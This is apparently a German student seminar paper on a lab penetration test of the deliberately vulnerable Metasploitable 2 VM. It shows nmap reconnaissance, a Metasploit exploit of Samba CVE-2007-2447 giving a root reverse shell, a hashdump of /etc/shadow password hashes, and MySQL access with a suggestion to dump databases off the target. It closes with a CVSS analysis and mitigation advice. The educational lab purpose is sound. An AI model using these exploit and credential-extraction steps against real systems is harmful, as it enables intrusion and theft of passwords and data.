

Angriffssimulation mit Metasploit: Schwachstellenanalyse und Exploitation eines verwundbaren Systems

Seminararbeit Wahlfach Cybersecurity, Wintersemester 2025/26

Emil Schläger
Matrikelnummer: 2988631
inf23123@lehre.dhbw-stuttgart.de

Abstract

In der heutigen digitalen Welt nimmt die Bedrohung durch Cyberangriffe zunehmend zu. Um sich zu schützen, setzen viele Unternehmen auf offensive Security-Analysen ihrer Systeme. In dieser Arbeit sollen die Grundlagen eines Penetrationstests gelernt werden. Mithilfe des Metasploit Frameworks wird die absichtlich verwundbare Virtuelle Maschine „Metasploitable 2“ angegriffen. Dabei wird mithilfe von nmap ein verwundbarer SMB Service ausfindig gemacht, welcher anschließend mit einer Command Injection exploitet wird. Mithilfe der erlangten Remote Shell werden im Anschluss einige Wege motiviert, wie das komprimierte System weiter ausgenutzt werden kann.

1. Einleitung

In der heutigen digitalen Welt nimmt die Bedrohung durch Cyberangriffe zunehmend zu. Täglich werden Unternehmen zum Opfer von Attacken, und erleiden dadurch schwere Verluste. Eine Möglichkeit, solchen Attacken entgegen zu wirken, ist es, Black Hat Hackern durch Penetrationstests zuvor zu kommen. Durch solche offensiven Security-Analysen können Schwachstellen identifiziert und behoben werden, bevor sie von böartigen Akteuren ausgenutzt werden können.

1.1. Zielsetzung

Primäres Ziel dieser Hausarbeit ist es, im Zuge dessen ein Gefühl zu bekommen für die Arbeit im offensiven Security-Bereich. Anhand der absichtlich verwundbaren Virtuellen Maschine „Metasploitable 2“¹ soll ein Penetrationstest simuliert werden, indem das Metasploit Framework² und dessen breite Datenbank an bekannten Exploits genutzt wird.

Als messbares Ziel rufe ich aus, eine aus der Ferne operierbare Shell (Remote Shell) mit Admin-Rechten (root) auf der Maschine zu erlangen. Obwohl eine solche Remote Shell an sich in einer Black Hat Operation oder einem ausführlichen Pentest als Ziel nicht ausreichend wäre - man müsste die Shell nutzen um ein weiteres Ziel, beispielsweise die Extraktion von Daten, zu erreichen - kann es als ausreichend betrachtet werden, um erste Erfahrungen in dem Gebiet zu erlangen.

1.2. Struktur

In dieser Arbeit wird der Prozess dokumentiert, um dieses Ziel zu erreichen. Es werden Gedankengänge aufgezeigt, sowie die finale Durchführung eines Exploits anhand Screenshots aufgezeigt. Die genutzte Schwachstelle wird analysiert, und zum Abschluss wird eine Handlungsempfehlung für hypothetische Systemadministratoren ausgesprochen, sowie über den Prozess reflektiert.

1.3. Vorgehen

Das Vorgehen orientiert sich unter den Laborumständen bestmöglich an dem Modell der Cyber Kill Chain: Zunächst wird in der Reconnaissance Phase Information über das Zielsystem gesammelt. Anschließend wird anhand der gesammelten Information ein Exploit aus Metasploits Datenbank gewählt, der auf das System anwendbar ist. Wenn ein erfolgreicher Exploit gefunden und durchgeführt wurde, wird sich auf dem Zielsystem mit Hilfe der Remote Shell ein wenig umgeschaut, um Wege zu identifizieren, wie das System genutzt werden könnte, um größere Ziele zu erreichen.

2. Reconnaissance

In diesem Kapitel werde ich aufzeigen, welche Schritte während der Reconnaissance Phase durchgeführt wurden, und welche Motivationen dahinter stecken.

2.1. Lokalisieren der Metasploitable 2 VM

Der offizielle Setup-Guide von Rapid7 zu Metasploitable 2 [1] empfiehlt, die IP Adresse der VM zu identifizieren, indem man sich in die VM einloggt und mithilfe des Befehls `ifconfig` die IP Adresse

¹<https://docs.rapid7.com/metasploit/metasploitable-2/> (05.01.2026)

²<https://https://docs.rapid7.com/metasploit/msf-overview/> (05.01.2026)

der VM heraus zu finden. Um realen Bedingungen allerdings ein wenig näher zu kommen, wird die IP Adresse von Metasploitable 2 in dieser Arbeit von außen ermittelt.

Hier kommt Vorwissen über die Laborumgebung zum Einsatz: Metasploitable 2 ist eine Virtuelle Maschine, die über den VMWare Player gestartet wird. VMWares Virtuelle Netzwerke werden benannt mit dem Prefix `vmnet` und einer Zahl, je nach Art des Netzwerks [2]. Durch den Befehl `ifconfig` auf dem Host können die Adressen des Hosts in diesen Netzwerken, und somit auch die Adressen der Netzwerke identifiziert werden:

```
vmnet1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 172.16.6.1 netmask 255.255.255.0 broadcast 172.16.6.255
        inet6 fe80::250:56ff:fec0:1 prefixlen 64 scopeid 0x20<link>
        ether 00:50:56:c0:00:01 txqueuelen 1000 (Ethernet)
        ...

vmnet8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 192.168.29.1 netmask 255.255.255.0 broadcast 192.168.29.255
        inet6 fe80::250:56ff:fec0:8 prefixlen 64 scopeid 0x20<link>
        ether 00:50:56:c0:00:08 txqueuelen 1000 (Ethernet)
        ...
```

Listing 1: Trunkierter Output von `ifconfig` auf dem Host-Gerät

Aus Listing 1 kann entnommen werden, dass es zwei virtuelle Netze gibt: `vmnet1` mit der Netzwerk-Adresse 172.16.6.0/24, und `vmnet8` mit der Adresse 192.168.29.0/24. Mithilfe des Tools `nmap` können nun beide Netzwerke auf aktive Hosts gescannt werden³:

```
$ nmap -sn 172.16.6.0/24

Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-05 19:00 CET
Nmap scan report for localhost (172.16.6.1)
Host is up (0.00030s latency).
Nmap scan report for localhost (172.16.6.128)
Host is up (0.00018s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.06 seconds
```

Listing 2: Ping Sweep mithilfe von `nmap` auf dem Netzwerk `vmnet1`

Wie in Listing 2 zu sehen ist, befinden sich zwei Hosts in diesem Netzwerk. Aufgrund Listing 1, wonach die IP Adresse des Host Gerätes 172.16.6.1 ist, ist davon auszugehen, dass es sich bei der IP Adresse 172.16.6.128 um Metasploitable 2 handelt.

2.2. Identifizieren von Services auf Metasploitable 2

Nun, da die IP Adresse der VM bekannt ist, kann die VM mithilfe von `nmap` genauer untersucht werden. Hierfür wurde `nmap` mit der Optionen `-O` und `-sV` ausgeführt, um die ersten 10 000 Ports zu scannen, wie im folgenden aufgezeigt:

```
nmap -O -sV -p 1-10000 172.16.6.0/24
```

Laut `nmap` Manual Page [3] führt `nmap` folgende Operationen durch für jeden identifizierten Host:

1. Führt einen Port Scan für jeden Port in der Range durch, um herauszufinden, ob der Port aktiv ist

³Der Übersichtlichkeit halber wird hier nur der Scan im richtigen der beiden Netze gezeigt

2. Versucht, das Betriebssystem des Hosts zu identifizieren
3. Versucht, bei offenen Ports mehr Information über den dahinter liegenden Service zu erlangen.

In Listing 4 ist der gesamte Output des nmap scans zu sehen:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-05 20:57 CET
Nmap scan report for 172.16.6.128
Host is up (0.00050s latency).
Not shown: 9973 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6200/tcp  open  lm-x?
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13?
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbl)
MAC Address: 00:0C:29:14:6E:24 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs:
Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 190.40 seconds
```

Listing 4: Ergebnis des nmap scans gegen Metasploitable 2

Wie in Listing 4 zu sehen ist, sind beinahe 30 Ports auf der virtuellen Maschine exposed. Zuerst sei aber darauf hingewiesen, dass nmap erkannt hat, welches Betriebssystem auf der Maschine läuft: Linux 2.6 (mit unbekannter patch version). Da diese Version des Linux Kernels seit 2016 ausgelaufen

ist [4], kann davon ausgegangen werden, dass beinahe alle Services auf der VM ebenso veraltet sind und kritische Vulnerabilities besitzen. Durch den von nmap durchgeführten Version Scan ist zusätzlich bei vielen Services bereits bekannt, um welche Version des Services es sich handelt. Eine Ausnahme ist der NetBios/SMB Service auf den Ports 139 und 445: Hier ist nur die Major Version der Services bekannt. Da SMB und NetBios allerdings notorisch für historische Vulnerabilities sind, wäre es hilfreich, die exakte Version der Services zu identifizieren, um Metasploits Datenbank nach Exploits in dieser Version zu durchsuchen.

Das Metasploit Framework besitzt bereits ein Modul zum identifizieren der SMB Version:

`auxiliary/scanner/smb/smb_version`. Mithilfe dieses Scanners kann die exakte Version des Samba Services auf der Maschine identifiziert werden als `Samba 3.0.20-Debian`:

```
msf auxiliary(scanner/smb/smb_version) > set RHOSTS 172.16.6.128
RHOSTS => 172.16.6.128
msf auxiliary(scanner/smb/smb_version) > run
[*] 172.16.6.128:445      - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 172.16.6.128        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_version) >
```

Listing 5: Ausführen des SMB Version Scanners auf der Zielmaschine

Da nmap für beide `netbios-ssn` Services (Ports 139 und 445) denselben Service identifiziert hat, kann angenommen werden, dass diese Version von Samba sowohl hinter Port 445 (wofür der Scanner die exakte Version identifiziert hat), als auch Port 139 läuft.

3. Exploitation

3.1. Finden eines Exploits

Mit diesem Wissen kann eine Suche durch Metasploits Datenbank an Exploits gestartet werden:

```
msf auxiliary(scanner/smb/smb_version) > search Samba 3.0.20

Matching Modules
=====
#  Name                                     Disclosure Date  Rank      Check  Description
-  -
0  exploit/multi/samba/usermap_script       2007-05-14      excellent No     Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
```

Abbildung 1: Suche nach einem passenden Exploit für die SMB Version

Die Information über diesen Exploit (`info exploit/multi/samba/usermap_script`) spezifiziert allerdings explizit, dass dieser Exploit eine spezielle Konfiguration des Services benötigt:

This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default „username map script“ configuration option.

3.2. Analyse der Schwachstelle nach CVSS

Das Modul referenziert CVE-2007-2447 als die genutzte Schwachstelle. Die betroffenen Versionen von Samba geben Nutzereingaben unsanitisiert an eine System Shell weiter [5]. Samba erlaubt Konfiguration von externen Shell Skripten, um den Service um benutzerdefinierte Skripte zu erweitern. Das Username Map Script ist eines davon; Es erlaubt, durch ein Skript automatisch

Nutzer von einem Client-System Nutzern auf dem SMB Server zuzuordnen [6]. Damit der Authentifizierungsprozess reibungslos für den zugeordneten Nutzer vonstatten gehen kann, geschieht diese Zuordnung bereits bevor der Nutzer ein Passwort angeben muss. Dadurch kann ein Angreifer durch die Angabe von Metacharakteren im Nutzernamen einen Befehl auf der Shell des Servers ausführen - dies ist bekannt als „Command Injection“.

CVE-2007-2447 ist bereits durch CVSS v2 kategorisiert, und wurde mit einer Base Score von **6.0 (Medium)** bewertet. Die einzelnen Metriken wurden von der NIST wie folgt bewertet [7]:

Metrik	Wert	Begründung
Access Vector	Network	Die Schwachstelle ist über das Netzwerk ausnutzbar
Access Complexity	Medium	Erfordert spezielle Konfiguration (Username Map Script)
Authentication	Single	Eine einfache Authentifizierung am SMB-Service ist nötig
Confidentiality Impact	Partial	Zugriff auf Systemdaten möglich
Integrity Impact	Partial	Änderungen am System möglich
Availability Impact	Partial	Denial-of-Service möglich

Tabelle 1: CVSS v2 Metriken von CVE 2007-2447

Hierbei sei angemerkt, dass die Metrik „Authentication“ fehlkategorisiert ist, wie von Samba in [5] eingestanden: Man dachte zuerst, die Command Injection betreffe nur andere externe Scripts, für welche, anders als für das Username Map Script, eine Authentifizierung erforderlich ist. Korrigiert man diesen Wert in NISTs CVSS v2 Rechner⁴ auf „None“, ist der Score ein **6.8 (Medium)**.

3.3. Durchführung

Da der Exploit maßgeblich auf der Konfiguration des Username Map Scripts basiert, wird der Exploit fehlschlagen, wenn diese Konfiguration nicht getätigt wurde. Da der Exploit dennoch mit dem Ranking „excellent“ bewertet wurde, also selbst bei Fehlschlagen wenig Aufsehen erzeugt [8], ist es dennoch einen Versuch wert, den Exploit gegen das Zielsystem auszuprobieren.

```
msf exploit(multi/samba/usermap_script) > set RHOSTS 172.16.6.128
RHOSTS => 172.16.6.128
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 172.16.6.1:4444
[*] Command shell session 3 opened (172.16.6.1:4444 -> 172.16.6.128:33304) at 2026-01-09 11:03:41 +0100

hostname
metasploitable

id -u
0
```

Abbildung 2: Durchführung des Exploits des Username Map Scripts gegen Metasploitable

Wie in Abbildung 2 zu sehen ist, war der Exploit erfolgreich, und eine Reverse Shell wurde auf dem Zielsystem gestartet. Die Abbildung zeigt ebenfalls zwei Befehle, die dies Verifizieren: Der hostname `metasploitable` verifiziert, dass die Shell auf der Metasploitable VM läuft, und `id -u` mit Ausgabe `0` zeigt, dass die Shell Administrator-Rechte (root) besitzt.

⁴<https://nvd.nist.gov/vuln-metrics/cvss/v2-calculator> (09.01.2026)

4. Post-Exploitation

Nun, da das System komprimiert ist, bietet es sich an, Ansätze zu finden, wie diese Komprimierung ausgenutzt werden kann. In diesem Kapitel werde ich einige Wege motivieren, aber keine davon vollständig durchführen, da dies den Rahmen der Hausarbeit sprengte.

4.1. Zugangsdaten der Linux Maschine extrahieren

Auf der Maschine läuft, wie vorher bereits heraus gefunden, Linux. Es ist sehr wahrscheinlich, dass auf dem System mindestens ein Nutzer abseits des root-Nutzers existiert, der ein Passwort hinterlegt hat. Auf Linux-Systemen sind Nutzernamen sowie eventuelle Passwort-Hashes in den Dateien `/etc/passwd` und `/etc/shadow` gespeichert. Das Metasploit Framework bietet ein Post Module, welches diese beiden Dateien kombiniert und, falls vorhanden, Nutzernamen mit ihren Passwort-Hashes extrahiert: `post/linux/gather/hashdump`. Nach ausführen dieses Moduls auf der vorher erlangten Remote Shell Session, konnten 7 Nutzernamen mit zugehörigen Passwort-Hashes extrahiert werden:

```
msf post(linux/gather/hashdump) > creds
Credentials
=====
```

id	host	origin	service	public	private	realm	private_type	JtR Format	cracked_password
1	172.16.6.128		root		\$1\$/avpfBJ1x0z8w5UF9Iv./DR9E9Lid.		Nonreplayable hash	md5	
2	172.16.6.128		sys		\$1\$fUX6BP0t\$M1yc3Up0zQJqz4s5wFD9l0		Nonreplayable hash	md5	
3	172.16.6.128		klog		\$1\$f2ZVMS4K\$R9XkI.CmLdHhdUE3X9jqP0		Nonreplayable hash	md5	
4	172.16.6.128		msfadmin		\$1\$XN10Zj2c\$Rt/zzCW3mLtUWA.ihZjA5/		Nonreplayable hash	md5	
5	172.16.6.128		postgres		\$1\$Rw35ik.x\$MgQgZUu05pAoUvfJhfcYe/		Nonreplayable hash	md5	
6	172.16.6.128		user		\$1\$HESu9xrH\$K.o3G93D6oXIiQKkPmUgZ0		Nonreplayable hash	md5	
7	172.16.6.128		service		\$1\$kR3ue7JZ\$7GxELDupr50hp6cjZ3Bu//		Nonreplayable hash	md5	

Abbildung 3: Hashdump der Linux user

Wie der Präfix `1` bei allen Hashes verrät, sind die Passwörter mit dem Hash-Verfahren MD5 gehasht [9]. Da dieses Verfahren seit langem nicht mehr als sicher gilt [10], ist es aller Wahrscheinlichkeit nach möglich, einige der Hashes zu in angemessener Zeit zu knacken. Die dadurch gewonnenen Passwörter können dann verwendet werden, um an anderen Services Zugangsdaten zu erraten.

4.2. Zugriff auf SQL Services erlangen

Wie in Listing 4 zu sehen, laufen zwei SQL Server auf der Maschine. In diesen Datenbanken könnten sich ebenfalls interessante Daten befinden, zum Beispiel weitere Passwort-Hashes. Da die Reverse Shell mit Administrator-Rechten ausgestattet ist, ist es möglich, sich zu beiden Datenbanksystemen zugriff zu verschaffen⁵. Im Falle der MySQL Datenbank ist es ausreichend, aus der Shell den Befehl `mysql` aufzurufen, um mit dem `root` user auf die Konsole der Datenbank zuzugreifen⁶.

⁵Für PostgreSQL ist der Prozess etwas komplizierter - Da sich herausstellte, dass die PostgreSQL Datenbank nicht genutzt wird, wird dieser Prozess hier nicht aufgeführt.

⁶Die Interaktive CLI von mysql kann nicht über die simple Remote Shell aufgerufen werden. Das gezeigte Listing zeigt aus ästhetischen Gründen den Output aus einer SSH-Session. Mithilfe der `-e` flag kann `mysql` auch als shell command aufgerufen werden: `mysql -e 'show databases'` beispielsweise liefert eine weniger ästhetische Version des Outputs aus Listing 6.

```
root@metasploitable:~# mysql
```

```
...
```

```
mysql> show databases;
```

```
+-----+  
| Database                |  
+-----+  
| information_schema      |  
| dvwa                    |  
| metasploit              |  
| mysql                   |  
| owasp10                 |  
| tikiwiki                |  
| tikiwiki195             |  
+-----+  
7 rows in set (0.00 sec)
```

```
mysql>
```

Listing 6: Datenbanken, die sich auf dem MySQL Server befinden

Wie in Listing 6 zu sehen ist, befinden sich einige Tabellen in der Datenbank. Mit dem Befehl `mysqldump`, ist es möglich, eine gesamte Datenbank in SQL- und Textdateien zu exportieren, welche dann von dem Zielsystem zum Angreifersystem transferiert werden können.

5. Fazit

5.1. Zusammenfassung

In dieser Hausarbeit wurde erfolgreich eine Schwachstelle in der absichtlich verwundbaren Virtuellen Maschine Metasploitable 2 identifiziert und ausgenutzt. Das Ziel, eine Reverse Shell zu erlangen, wurde erreicht. Die Hausarbeit zeigt auf, wie die Schwachstelle mithilfe von `nmap` und Recherche identifiziert wurde. Auch wurde die genutzte Schwachstelle erklärt, sowie potentielle Möglichkeiten für weitere Komprimierung des Systems oder Datenextraktion aufgezeigt.

5.2. Handlungsempfehlung für Mitigation

Die Schwachstelle wurde von Samba in Version `3.0.24` behoben [5]. Die beste Möglichkeit, die Virtuelle Maschine zu sichern, ist demnach, die Version von Samba auf diese sichere Version zu upgraden. Falls dies aus einem unbekannten Grund nicht möglich sein sollte, ist der nächstbeste Weg, die Nutzung des Username Map Scripts zu deaktivieren.

5.3. Reflexion

Das weiter gefasste Ziel, einen Einblick in die Welt der offensiven Security zu bekommen, wurde erreicht. Ich habe mich mit dem Metasploit Framework vertraut gemacht, und viel über dessen Architektur und Nutzung gelernt. Auch konnte ich mein bereits vorhandenes Wissen über `nmap` vertiefen, und habe weitere Anwendungsfälle dieses Tools gelernt. Limitiert ist die Arbeit speziell durch den Nutzen des Metasploit Frameworks. Durch dessen extensive Sammlung an Skripten, die von anderen Leuten geschrieben wurde, musste ich keine tatsächliche Schwachstellenanalyse tätigen, es reichte aus, Metasploits Datenbank aus Exploits nach den durch `nmap` identifizierten Services zu durchsuchen. Zusätzlich ist bemerkenswert, dass die gefundene Schwachstelle aus 2007

stammt. Wie auch an dem End-of-Life Datum der Linux Version zu erkennen, ist Metasploitable 2 schon lange veraltet, und die Schwachstellen, die dort existieren, sind vermutlich in kaum bis keiner modernen Produktivumgebung zu finden. Nichtsdestotrotz war diese Hausarbeit ein guter Einstieg in die Arbeit der offensiven Security, und ich werde mich in diesem Gebiet weiter fortbilden.

Literaturverzeichnis

- [1] „Metasploitable 2 | Metasploit Documentation“. Zugegriffen: 5. Januar 2026. [Online]. Verfügbar unter: <https://docs.rapid7.com/metasploit/metasploitable-2/>
- [2] „Understanding Virtual Networking Components“. Zugegriffen: 5. Januar 2026. [Online]. Verfügbar unter: <https://techdocs.broadcom.com/us/en/vmware-cis/desktop-hypervisors/workstation-pro/25H2/using-vmware-workstation-player-for-linux-17-0/configuring-network-connections-linux/understanding-virtual-networking-components-linux.html>
- [3] „nmap(1) - Linux man page“. Zugegriffen: 5. Januar 2026. [Online]. Verfügbar unter: <https://linux.die.net/man/1/nmap>
- [4] „Linux Kernel 2.6.32 LTS Reaches End of Life on February 2016“. Zugegriffen: 9. Januar 2026. [Online]. Verfügbar unter: <https://www.linuxtoday.com/news/linux-kernel-2-6-32-lts-reaches-end-of-life-on-february-2016/>
- [5] „Samba - Security Announcement Archive“. Zugegriffen: 9. Januar 2026. [Online]. Verfügbar unter: <https://www.samba.org/samba/security/CVE-2007-2447.html>
- [6] „smb.conf - Username Map“. Zugegriffen: 9. Januar 2026. [Online]. Verfügbar unter: <https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html#USERNAMEMAPSCRIPT>
- [7] „NVD - CVE-2007-2447“. Zugegriffen: 11. Januar 2026. [Online]. Verfügbar unter: <https://nvd.nist.gov/vuln/detail/CVE-2007-2447>
- [8] „Exploit Ranking“. Zugegriffen: 9. Januar 2026. [Online]. Verfügbar unter: <https://rapid7.github.io/metasploit-framework/metasploit-framework/docs/using-metasploit/intermediate/exploit-ranking.html>
- [9] „Understanding /etc/shadow file format on Linux - nixCraft“. Zugegriffen: 9. Januar 2026. [Online]. Verfügbar unter: <https://www.cyberciti.biz/faq/understanding-etcshadow-file/>
- [10] Y. Sasaki, Y. Naito, N. Kunihiro, und K. Ohta, „Improved Collision Attack on MD5“.